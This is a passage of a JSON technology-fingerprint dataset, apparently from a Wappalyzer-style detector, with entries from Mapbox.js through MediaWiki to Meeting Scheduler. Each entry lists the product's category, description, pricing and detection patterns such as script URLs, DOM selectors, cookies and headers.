\"implies\": [\n      \"Leaflet\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"api\\\\.mapbox\\\\.com/mapbox\\\\.js/v([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    ],\n    \"scripts\": [\n      \"api\\\\.mapbox\\\\.com/mapbox\\\\.js/v([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/mapbox/mapbox.js\"\n  },\n  \"Mapme\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"Mapme is an interactive map builder that allows users to create custom maps.\",\n    \"dom\": [\n      \"iframe[src*='viewer.mapme.com/']\"\n    ],\n    \"icon\": \"Mapme.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://mapme.com\"\n  },\n  \"Mapp\": {\n    \"cats\": [\n      10,\n      32\n    ],\n    \"description\": \"Mapp is designed specifically to help consumer-facing brands run highly personalised, cross-channel marketing campaigns powered by real-time customer data and generated insights.\",\n    \"icon\": \"Mapp.svg\",\n    \"js\": {\n      \"WebtrekkV3\": \"\",\n      \"webtrekk\": \"\",\n      \"webtrekkConfig\": \"\",\n      \"webtrekkHeatmapObjects\": \"\",\n      \"webtrekkLinktrackObjects\": \"\",\n      \"webtrekkUnloadObjects\": \"\",\n      \"webtrekkV3\": \"\",\n      \"wtSmart\": \"\",\n      \"wt_tt\": \"\",\n      \"wt_ttv2\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://mapp.com\"\n  },\n  \"Mapplic\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"Mapplic is a plugin for creating interactive maps based on simple image (jpg, png) or vector (svg) files.\",\n    \"dom\": [\n      \"div.mapplic-layer > div.mapplic-map-image\"\n    ],\n    \"icon\": \"Mapplic.svg\",\n    \"pricing\": [\n      \"low\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"wp-content/plugins/mapplic/\",\n      \"/include/mapplic/mapplic\\\\.js\"\n    ],\n    \"website\": \"https://mapplic.com\"\n  },\n  \"Maptalks\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"Maptalks is a light and plugable JavaScript library for integrated 2D/3D maps.\",\n    \"dom\": [\n      \"div.maptalks-wrapper\"\n    ],\n    \"icon\": \"Maptalks.png\",\n    \"js\": {\n      \"map._eventMap\": \"\",\n      \"maptalks.GeoJSON\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://maptalks.org\"\n  },\n  \"Marcando\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Marcando is a SaaS ecommerce solution designed to streamline online retail operations.\",\n    \"icon\": \"Marcando.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.marcando\\\\.be/\"\n    ],\n    \"website\": \"https://www.marcando.be\"\n  },\n  \"Marchex\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Marchex is a B2B call and conversational analytics company.\",\n    \"dom\": [\n      \"link[href*='.marchex.io']\"\n    ],\n    \"icon\": \"Marchex.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.marchex\\\\.io/\"\n    ],\n    \"website\": \"https://www.marchex.com\"\n  },\n  \"Marfeel\": {\n    \"cats\": [\n      10,\n      36\n    ],\n    \"description\": \"Marfeel is a publisher platform that allows publishers to create, optimise and monetise their mobile websites.\",\n    \"icon\": \"Marfeel.svg\",\n    \"js\": {\n      \"marfeel\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.marfeel\\\\.com/\",\n      \"\\\\.mrf\\\\.io/\"\n    ],\n    \"website\": \"https://www.marfeel.com\"\n  },\n  \"MariaDB\": {\n    \"cats\": [\n      34\n    ],\n    \"cpe\": \"cpe:2.3:a:mariadb_project:mariadb:*:*:*:*:*:*:*:*\",\n    \"description\": \"MariaDB is an open-source relational database management system compatible with MySQL.\",\n    \"icon\": \"mariadb.svg\",\n    \"website\": \"https://mariadb.org\"\n  },\n  \"Marionette.js\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Marionette is a composite application library for Backbone.js that aims to simplify the construction of large scale JavaScript applications. It is a collection of common design and implementation patterns found in applications.\",\n    \"icon\": \"Marionette.js.svg\",\n    \"implies\": [\n      \"Underscore.js\",\n      \"Backbone.js\"\n    ],\n    \"js\": {\n      \"Marionette\": \"\",\n      \"Marionette.VERSION\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"backbone\\\\.marionette.*\\\\.js\"\n    ],\n    \"website\": \"https://marionettejs.com\"\n  },\n  \"Markate\": {\n    \"cats\": [\n      32,\n      53\n    ],\n    \"description\": \"Markate is an all-in-one CRM and sales and marketing automation platform.\",\n    \"icon\": \"Markate.svg\",\n    \"meta\": {\n      \"author\": \"^Markate$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.markate\\\\.com/\"\n    ],\n    \"website\": \"https://www.markate.com\"\n  },\n  \"Marked\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:marked_project:marked:*:*:*:*:*:*:*:*\",\n    \"icon\": \"Marked.svg\",\n    \"js\": {\n      \"marked\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/marked(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://marked.js.org\"\n  },\n  \"Marker\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Marker.io is an issue tracker solution for Project Managers, QA Testers and Agency Clients to report feedback & bugs to developers.\",\n    \"icon\": \"Marker.svg\",\n    \"js\": {\n      \"markerConfig\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"edge\\\\.marker\\\\.io\"\n    ],\n    \"website\": \"https://marker.io\"\n  },\n  \"MarketPlan\": {\n    \"cats\": [\n      10,\n      32\n    ],\n    \"description\": \"MarketPlan is a platform that integrates campaign mapping, simulation, collaboration, and smart analytics, all in one place.\",\n    \"icon\": \"MarketPlan.svg\",\n    \"js\": {\n      \"marketplan\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.marketplan\\\\.io/\"\n    ],\n    \"website\": \"https://www.gomarketplan.io\"\n  },\n  \"Marketo\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Marketo develops and sells marketing automation software for account-based marketing and other marketing services and products including SEO and content creation.\",\n    \"icon\": \"Marketo.svg\",\n    \"js\": {\n      \"Munchkin\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"munchkin\\\\.marketo\\\\.\\\\w+/(?:([\\\\d.]+)/)?munchkin\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.marketo.com\"\n  },\n  \"Marketo Forms\": {\n    \"cats\": [\n      5,\n      110\n    ],\n    \"description\": \"Marketo Forms help create web forms without programming knowledge. Forms can reside on Marketo landing pages and also be embedded on any page of website.\",\n    \"icon\": \"Marketo.svg\",\n    \"js\": {\n      \"formatMarketoForm\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"marketo\\\\.\\\\w+/js/forms(?:[\\\\d.]+)/js/forms([\\\\d.]+)\\\\.min\\\\.js\\\\;version:\\\\1\",\n      \"v([\\\\d.]+)/js/marketo-alt-form\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.marketo.com\"\n  },\n  \"Marketpath CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"_mp_permissions\": \"^session\\\\^\"\n    },\n    \"description\": \"Marketpath CMS is a hosted website content management system used by businesses, churches and schools.\",\n    \"icon\": \"Marketpath CMS.png\",\n    \"implies\": [\n      \"Azure\",\n      \"ZURB Foundation\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.marketpath.com\"\n  },\n  \"Marko\": {\n    \"cats\": [\n      18,\n      66\n    ],\n    \"description\": \"Marko is HTML re-imagined as a language for building dynamic and reactive user interfaces.\",\n    \"dom\": [\n      \"#data-marko-key, html[data-framework='marko']\"\n    ],\n    \"icon\": \"Marko.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"markoComponent\": \"\",\n      \"markoSections\": \"\",\n      \"markoVars\": \"\"\n    },\n    \"oss\": true,\n    \"scripts\": [\n      \"\\\\.marko(\\\\.js)?\"\n    ],\n    \"website\": \"https://markojs.com\"\n  },\n  \"Marquiz\": {\n    \"cats\": [\n      73,\n      110\n    ],\n    \"description\": \"Marquiz is an online tool designed for creating user-friendly forms, quizzes, and surveys tailored for digital marketing.\",\n    \"icon\": \"Marquiz.svg\",\n    \"js\": {\n      \"webpackChunkmarquiz_quiz\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://marquiz.io\"\n  },\n  \"Mars Flag\": {\n    \"cats\": [\n      29\n    ],\n    \"cookies\": {\n      \"marsflag-_zldp\": \"\"\n    },\n    \"description\": \"Mars Flag is a search platform provider originating from Japan, known for its leading domestic market share in website search services.\",\n    \"icon\": \"MarsFlag.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.marsflag\\\\.com/\"\n    ],\n    \"website\": \"https://www.marsflag.com/en\"\n  },\n  \"MarsX\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"MarsX is an AI-powered coding platform designed to develop Software as a Service (SaaS) tools.\",\n    \"icon\": \"MarsX.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"analytic-api\\\\.marsx\\\\.dev/\"\n    ],\n    \"website\": \"https://www.marsx.dev\"\n  },\n  \"Marsello\": {\n    \"cats\": [\n      84\n    ],\n    \"cookies\": {\n      \"marselloExitPopup\": \"\"\n    },\n    \"description\": \"Marsello is an omnichannel loyalty platform that integrates with sales channels, enhancing customer engagement and retention by providing a unified experience across various points of sale.\",\n    \"icon\": \"Marsello.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"app\\\\.marsello\\\\.com\"\n    ],\n    \"website\": \"https://www.marsello.com\"\n  },\n  \"Massflow\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Massflow is a platform offering analytics for businesses, providing tools to evaluate performance, identify trends, and make data-driven decisions.\",\n    \"icon\": \"Massflow.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.massflow\\\\.io/\"\n    ],\n    \"website\": \"https://massflow.io\"\n  },\n  \"Master Slider\": {\n    \"cats\": [\n      7\n    ],\n    \"description\": \"Master Slider is an SEO friendly, responsive image and video slider.\",\n    \"icon\": \"master_slider.svg\",\n    \"js\": {\n      \"MasterSlider\": \"\",\n      \"MasterSlider.version\": \"^([0-9\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.masterslider.com\"\n  },\n  \"Master Slider Plugin\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Master Slider Plugin is an SEO friendly, responsive image and video slider plugin for WordPress.\",\n    \"dom\": {\n      \"link#ms-main-css\": {\n        \"attributes\": {\n          \"href\": \"/wp-content/plugins/masterslider/.+\\\\.css(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"master_slider.svg\",\n    \"implies\": [\n      \"Master Slider\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/master-slider\"\n  },\n  \"Mastercard\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"MasterCard facilitates electronic funds transfers throughout the world, most commonly through branded credit cards, debit cards and prepaid cards.\",\n    \"dom\": [\n      \"[aria-labelledby='pi-mastercard'], [aria-labelledby='pi-master']\"\n    ],\n    \"icon\": \"Mastercard.svg\",\n    \"website\": \"https://www.mastercard.com\"\n  },\n  \"Masteriyo\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"Masteriyo is a course creation and monetization tool for WordPress.\",\n    \"dom\": [\n      \"style[id*='masteriyo-public-inline-css']\"\n    ],\n    \"icon\": \"Masteriyo.svg\",\n    \"js\": {\n      \"_MASTERIYO_WISHLIST_ADDON_\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://masteriyo.com\"\n  },\n  \"MasterkinG32 Framework\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"MasterkinG32 framework.\",\n    \"headers\": {\n      \"X-Powered-Framework\": \"MasterkinG(?:)\"\n    },\n    \"icon\": \"Masterking32.png\",\n    \"meta\": {\n      \"generator\": \"^MasterkinG(?:)\"\n    },\n    \"website\": \"https://masterking32.com\"\n  },\n  \"Mastodon\": {\n    \"cats\": [\n      2\n    ],\n    \"cookies\": {\n      \"_mastodon_session\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*\",\n    \"description\": \"Mastodon is a free and open-source self-hosted social networking service.\",\n    \"headers\": {\n      \"Server\": \"^Mastodon$\"\n    },\n    \"icon\": \"Mastodon.svg\",\n    \"website\": \"https://joinmastodon.org\"\n  },\n  \"Matajer\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Matajer is an ecommerce platform from Saudi Arabia.\",\n    \"icon\": \"Matajer.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.mapp\\\\.sa/\"\n    ],\n    \"website\": \"https://mapp.sa\"\n  },\n  \"Material Design Lite\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Material Design Lite is a library of components for web developers.\",\n    \"html\": [\n      \"<link[^>]* href=\\\"[^\\\"]*material(?:\\\\.[\\\\w]+-[\\\\w]+)?(?:\\\\.min)?\\\\.css\"\n    ],\n    \"icon\": \"Material Design Lite.svg\",\n    \"js\": {\n      \"MaterialIconToggle\": \"\"\n    },\n    \"scriptSrc\": [\n      \"(?:/([\\\\d.]+))?/material(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://getmdl.io\"\n  },\n  \"Materialize CSS\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Materialize CSS is a front-end framework that helps developers create responsive and mobile-first web applications. It is based on Google's Material Design guidelines.\",\n    \"dom\": [\n      \"link[href*='/materialize.min.css']\"\n    ],\n    \"icon\": \"Materialize CSS.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"([\\\\d\\\\.]+)/.*/materialize\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://materializecss.com\"\n  },\n  \"MathJax\": {\n    \"cats\": [\n      25\n    ],\n    \"cpe\": \"cpe:2.3:a:mathjax:mathjax:*:*:*:*:*:*:*:*\",\n    \"description\": \"MathJax is a cross-browser JavaScript library that displays mathematical notation in web browsers, using MathML, LaTeX and ASCIIMathML markup.\",\n    \"icon\": \"MathJax.svg\",\n    \"js\": {\n      \"MathJax\": \"\",\n      \"MathJax.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"([\\\\d.]+)?/mathjax\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.mathjax.org\"\n  },\n  \"Matjrah\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Matjrah is an ecommerce platform for building online stores.\",\n    \"icon\": \"Matjrah.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.matjrah\\\\.store/\"\n    ],\n    \"website\": \"https://matjrah.com\"\n  },\n  \"Matomo Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"cookies\": {\n      \"PIWIK_SESSID\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:matomo:matomo:*:*:*:*:*:*:*:*\",\n    \"description\": \"Matomo Analytics is a free and open-source web analytics application, that runs on a PHP/MySQL web-server.\",\n    \"icon\": \"Matomo.svg\",\n    \"js\": {\n      \"Matomo\": \"\",\n      \"Piwik\": \"\"\n    },\n    \"meta\": {\n      \"apple-itunes-app\": \"app-id=737216887\",\n      \"generator\": \"(?:Matomo|Piwik) - Open Source Web Analytics\",\n      \"google-play-app\": \"app-id=org\\\\.piwik\\\\.mobile2\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"piwik\\\\.js|piwik\\\\.php\"\n    ],\n    \"website\": \"https://matomo.org\"\n  },\n  \"Matomo Tag Manager\": {\n    \"cats\": [\n      42\n    ],\n    \"description\": \"Matomo Tag Manager manages tracking and marketing tags.\",\n    \"icon\": \"Matomo.svg\",\n    \"js\": {\n      \"MatomoTagManager\": \"\"\n    },\n    \"website\": \"https://developer.matomo.org/guides/tagmanager/introduction\"\n  },\n  \"Mattaki\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Mattaki is an automotive platform from Australia.\",\n    \"js\": {\n      \"Mattaki\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.mattaki\\\\.com/\"\n    ],\n    \"website\": \"https://www.mattaki.com\"\n  },\n  \"Matter.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Matter.js is a JavaScript 2D rigid body physics engine for the web.\",\n    \"icon\": \"MatterJs.svg\",\n    \"js\": {\n      \"Matter.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"matter(?:-wrap)?(?:\\\\/demo\\\\/js\\\\/lib(?:\\\\/matter-tools\\\\/jquery)?(?:\\\\/decomp)?)?(?:\\\\/?-?((?:\\\\d+\\\\.)+\\\\d+))?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://brm.io/matter-js\"\n  },\n  \"Mattermost\": {\n    \"cats\": [\n      2\n    ],\n    \"cpe\": \"cpe:2.3:a:jenkins:mattermost:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<noscript> To use Mattermost, please enable JavaScript\\\\. </noscript>\"\n    ],\n    \"icon\": \"mattermost.svg\",\n    \"implies\": [\n      \"Go\",\n      \"React\"\n    ],\n    \"js\": {\n      \"mattermost_webapp\": \"\",\n      \"mm_config\": \"\",\n      \"mm_current_user_id\": \"\",\n      \"mm_license\": \"\",\n      \"mm_user\": \"\",\n      \"webpackChunkmattermost_webapp\": \"\"\n    },\n    \"meta\": {\n      \"application-name\": \"^Mattermost$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://about.mattermost.com\"\n  },\n  \"Mautic\": {\n    \"cats\": [\n      32\n    ],\n    \"cpe\": \"cpe:2.3:a:mautic:mautic:*:*:*:*:*:*:*:*\",\n    \"description\": \"Mautic is a free and open-source marketing automation tool for Content Management, Social Media, Email Marketing, and can be used for the integration of social networks, campaign management, forms, questionnaires, reports, etc.\",\n    \"icon\": \"mautic.svg\",\n    \"js\": {\n      \"MauticFormValidations\": \"\",\n      \"MauticSDK\": \"\",\n      \"MauticTrackingObject\": \"\"\n    },\n    \"scriptSrc\": [\n      \"[^a-z]mtc.*\\\\.js\"\n    ],\n    \"website\": \"https://www.mautic.org/\"\n  },\n  \"Mava\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Mava is an AI-driven customer support platform that scales customer support and success by connecting to private, group, and community channels.\",\n    \"icon\": \"Mava.svg\",\n    \"js\": {\n      \"Mava.identify\": \"\",\n      \"MavaWebChatToggle\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.mava.app\"\n  },\n  \"Mavo\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Mavo is a JavaScript library that enables web developers to turn regular HTML into reactive web applications without the need for writing custom JavaScript.\",\n    \"icon\": \"default.svg\",\n    \"js\": {\n      \"Mavo\": \"\",\n      \"Mavo.version\": \"v([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://mavo.io\"\n  },\n  \"Max Mega Menu\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Max Mega Menu is a popular WordPress plugin that enhances the menu functionality on WordPress websites.\",\n    \"dom\": [\n      \"link[href*='/wp-content/uploads/maxmegamenu/'], link[href*='/wp-content/plugins/megamenu-pro/'], link#megamenu-css, .mega-menu, .max-mega-menu, .mega-menu-megamenu, .mega-menu-primary, .mega-menu-item\"\n    ],\n    \"icon\": \"Max Mega Menu.png\",\n    \"js\": {\n      \"megamenu\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"(?:max)?megamenu(?:-pro)?(?:\\\\/assets)?(?:\\\\/public)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.megamenu.com/\"\n  },\n  \"MaxCDN\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"MaxCDN is a content delivery network, which accelerates web-sites and decreases the server load.\",\n    \"headers\": {\n      \"Server\": \"^NetDNA\",\n      \"X-CDN-Forward\": \"^maxcdn$\"\n    },\n    \"icon\": \"MaxCDN.png\",\n    \"website\": \"https://www.maxcdn.com\"\n  },\n  \"MaxMind\": {\n    \"cats\": [\n      79,\n      83\n    ],\n    \"description\": \"MaxMind is a provider of geolocation and online fraud detection tools.\",\n    \"icon\": \"MaxMind.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:device|js)\\\\.maxmind\\\\.com/\",\n      \"geoip\\\\.maxmind\\\\.min\\\\.js\",\n      \"geoip-js\\\\.com/.+/v([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.maxmind.com\",\n    \"xhr\": [\n      \"\\\\.maxmind\\\\.com\"\n    ]\n  },\n  \"MaxSite CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"MaxSite CMS is a PHP-based content management system from Ukraine.\",\n    \"icon\": \"MaxSite CMS.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"MaxSite CMS\"\n    },\n    \"oss\": true,\n    \"website\": \"https://max-3000.com\"\n  },\n  \"Maxemail\": {\n    \"cats\": [\n      32\n    ],\n    \"icon\": \"Maxemail.svg\",\n    \"js\": {\n      \"Mxm.Basket\": \"\",\n      \"Mxm.FormHandler\": \"\",\n      \"Mxm.Tracker\": \"\"\n    },\n    \"website\": \"https://maxemail.xtremepush.com\"\n  },\n  \"MaxenceDEVCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"MaxenceDEVCMS is a simple CMS for ecommerce, esport, landing page.\",\n    \"icon\": \"default.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"author\": \"^MaxenceDEV$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://cms.maxencedev.fr\"\n  },\n  \"Mazrica\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Mazrica is a sales support tool that leverages organizational knowledge, using AI algorithms to analyze accumulated sales data and evaluate success and failure cases.\",\n    \"icon\": \"Mazrica.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.mazrica\\\\.com/\"\n    ],\n    \"website\": \"https://mazrica.com\"\n  },\n  \"Measured\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Measured is an analytics platform to measure efficiency of marketing channels.\",\n    \"icon\": \"Measured.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tag\\\\.measured\\\\.com\"\n    ],\n    \"website\": \"https://www.measured.com\"\n  },\n  \"Medallia\": {\n    \"cats\": [\n      10,\n      13,\n      73\n    ],\n    \"cookies\": {\n      \"k_visit\": \"\"\n    },\n    \"description\": \"Medallia (formerly Kampyle) is a complete customer feedback platform that helps digital enterprises listen, understand, and act across all digital touch-points.\",\n    \"icon\": \"Medallia.svg\",\n    \"js\": {\n      \"KAMPYLE_COMMON\": \"\",\n      \"k_track\": \"\",\n      \"kampyle\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cf\\\\.kampyle\\\\.com/k_button\\\\.js\"\n    ],\n    \"website\": \"https://www.medallia.com\"\n  },\n  \"Media.net\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Media.net is an advertising company focused on providing monetization products to digital publishers.\",\n    \"dom\": [\n      \"link[href*='.media.net']\"\n    ],\n    \"icon\": \"Media.net.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.media\\\\.net/\"\n    ],\n    \"website\": \"https://www.media.net\"\n  },\n  \"MediaElement.js\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"MediaElement.js is a set of custom Flash plugins that mimic the HTML5 MediaElement API for browsers that don't support HTML5 or don't support the media codecs.\",\n    \"icon\": \"MediaElement.js.svg\",\n    \"js\": {\n      \"mejs\": \"\",\n      \"mejs.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.mediaelementjs.com\"\n  },\n  \"MediaWiki\": {\n    \"cats\": [\n      8\n    ],\n    \"cpe\": \"cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:*\",\n    \"description\": \"MediaWiki is a free and open-source wiki engine.\",\n    \"html\": [\n      \"<body[^>]+class=\\\"mediawiki\\\"\",\n      \"<(?:a|img)[^>]+>Powered by MediaWiki</a>\",\n      \"<a[^>]+/Special:WhatLinksHere/\"\n    ],\n    \"icon\": \"MediaWiki.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"mw.util.toggleToc\": \"\",\n      \"wgTitle\": \"\",\n      \"wgVersion\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"meta\": {\n      \"generator\": \"^MediaWiki ?(.+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.mediawiki.org\"\n  },\n  \"Mediahawk\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Mediahawk is a call analytics software for marketers.\",\n    \"icon\": \"Mediahawk.svg\",\n    \"js\": {\n      \"_mhct\": \"\",\n      \"mhctRequestFiredBeforeComplete\": \"\",\n      \"mhctRequestInitial\": \"\",\n      \"mhctRequestRunning\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"http://mediahawk.co.uk\"\n  },\n  \"Mediavine\": {\n    \"cats\": [\n      36\n    ],\n    \"cookies\": {\n      \"mediavine_session\": \"\"\n    },\n    \"description\": \"Mediavine is a full service ad management platform.\",\n    \"icon\": \"Mediavine.svg\",\n    \"js\": {\n      \"$mediavine.web\": \"\"\n    },\n    \"scriptSrc\": [\n      \"\\\\.mediavine\\\\.com/\"\n    ],\n    \"website\": \"https://www.mediavine.com\"\n  },\n  \"Medium\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Medium is an online publishing platform.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^Medium$\"\n    },\n    \"icon\": \"Medium.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"scriptSrc\": [\n      \"medium\\\\.com\"\n    ],\n    \"url\": [\n      \"^https?://(?:www\\\\.)?medium\\\\.com\"\n    ],\n    \"website\": \"https://medium.com\"\n  },\n  \"Medusajs\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Medusa is an open-source ecommerce platform that enables users to create online stores.\",\n    \"dom\": [\n      \"div.content-container > a[href*='www.medusajs.com'], a[href*='mailto:hello@medusajs.com']\"\n    ],\n    \"icon\": \"MedusaJs.svg\",\n    \"oss\": true,\n    \"website\": \"https://medusajs.com/\"\n  },\n  \"Meebo\": {\n    \"cats\": [\n      5\n    ],\n    \"html\": [\n      \"(?:<iframe id=\\\"meebo-iframe\\\"|Meebo\\\\('domReady'\\\\))\"\n    ],\n    \"icon\": \"Meebo.png\",\n    \"website\": \"https://www.meebo.com\"\n  },\n  \"Meeting Scheduler\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"Meeting Scheduler is a schedule appointments widget.\",\n    \"dom\": [\n      